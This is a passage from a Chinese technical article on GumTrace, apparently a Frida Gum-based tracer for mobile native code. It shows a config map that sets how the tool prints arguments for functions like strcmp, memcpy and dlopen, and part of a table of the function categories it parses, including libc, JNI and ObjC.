style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">func_maps</span></code><span leaf="">中查找匹配的符号名。匹配成功则触发参数打印。</span></p><h3 data-line="671" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">9.2 配置驱动的参数打印</span></h3><p data-line="673" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">GumTrace使用声明式配置来描述每个已知函数的参数格式：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="675" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span leaf=""> std::unordered_map&lt;std::string, BeforeFuncConfig&gt; func_configs = {</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 字符串操作</span></span><br/><span leaf="">    {</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;strcmp&#34;</span></span><span leaf="">, {PARAMS_NUMBER_TWO, {STR_INDEX_ZERO, STR_INDEX_ONE}, {}}},</span><br/><span leaf="">    {</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;strlen&#34;</span></span><span leaf="">, {PARAMS_NUMBER_ONE, {STR_INDEX_ZERO}, {}}},</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 内存操作</span></span><br/><span leaf="">    {</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;memcpy&#34;</span></span><span leaf="">, {PARAMS_NUMBER_THREE, {}, {{HEX_INDEX_ONE, HEX_INDEX_TWO}}}},</span><br/><span leaf="">    {</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;memcmp&#34;</span></span><span leaf="">, {PARAMS_NUMBER_THREE, {},</span><br/><span leaf="">        {{HEX_INDEX_ZERO, HEX_INDEX_TWO}, {HEX_INDEX_ONE, HEX_INDEX_TWO}}}},</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 文件操作</span></span><br/><span leaf="">    {</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;open&#34;</span></span><span leaf="">, {PARAMS_NUMBER_TWO, {STR_INDEX_ZERO}, {}}},</span><br/><span leaf="">    {</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;read&#34;</span></span><span leaf="">, {PARAMS_NUMBER_THREE, {}, {{HEX_INDEX_ONE, HEX_INDEX_TWO}}}},</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 动态链接</span></span><br/><span leaf="">    {</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;dlopen&#34;</span></span><span leaf="">, {PARAMS_NUMBER_TWO, {STR_INDEX_ZERO}, {}}},</span><br/><span leaf="">    {</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;dlsym&#34;</span></span><span leaf="">,  {PARAMS_NUMBER_TWO, {STR_INDEX_ONE}, {}}},</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// ...</span></span><br/><span leaf="">};</span></code></pre><p data-line="697" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">BeforeFuncConfig</span></code><span leaf="">结构体包含：</span></p><ul style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">params_number</span></code><p><span leaf="">：参数个数，决定打印</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">x0</span></code><span leaf="">到</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">x(n-1)</span></code><span leaf="">的值。</span></p></li><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">string_indices</span></code><p><span leaf="">：哪些参数是字符串，需要读取内存内容。</span></p></li><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">hexdump_indices</span></code><p><span leaf="">：哪些参数对需要hexdump，格式为</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">{地址寄存器索引, 长度寄存器索引}</span></code><span leaf="">。</span></p></li><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">special_handler</span></code><p><span leaf="">：特殊处理函数，如</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">syscall</span></code><span leaf="">需要二次解析。</span></p></li></ul><p data-line="703" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这种配置驱动的设计使得添加新函数的支持只需一行配置，无需修改打印逻辑。</span></p><h3 data-line="705" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">9.3 内置函数识别范围</span></h3><p data-line="707" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">GumTrace内置了对以下类别函数的自动解析：</span></p><table style=" border-collapse: collapse;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><thead><tr style=""><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">类别</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">函数</span></p></th></tr></thead><tbody><tr style=""><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">字符串操作</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">strlen</span></code><p><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">strcmp</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">strncmp</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">strcpy</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">strcat</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">strstr</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">strdup</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">strlcpy</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">strlcat</span></code><span leaf="">等</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">内存操作</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">memcpy</span></code><p><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">memmove</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">memset</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">memcmp</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">memmem</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">memchr</span></code><span leaf="">等</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">文件操作</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">open</span></code><p><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">openat</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">read</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">write</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">fopen</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">close</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">pread64</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">pwrite64</span></code><span leaf="">等</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">内存分配</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">malloc</span></code><p><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">calloc</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">realloc</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">free</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">aligned_alloc</span></code></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">内存映射</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">mmap</span></code><p><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">mmap64</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">mprotect</span></code></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">动态链接</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">dlopen</span></code><p><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">dlsym</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">dlclose</span></code></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">格式化</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sprintf</span></code><p><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">snprintf</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sscanf</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">fgets</span></code><span leaf="">及其</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">__chk</span></code><span leaf="">安全变体</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">系统</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">syscall</span></code><p><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">__system_property_get</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sysconf</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">gettimeofday</span></code></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">JNI (Android)</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">全部JNI函数——</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">FindClass</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">GetMethodID</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">CallObjectMethod</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">GetStringUTFChars</span></code><span leaf="">等</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">ObjC (iOS)</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">objc_msgSend</span></code><p><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">objc_retain</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 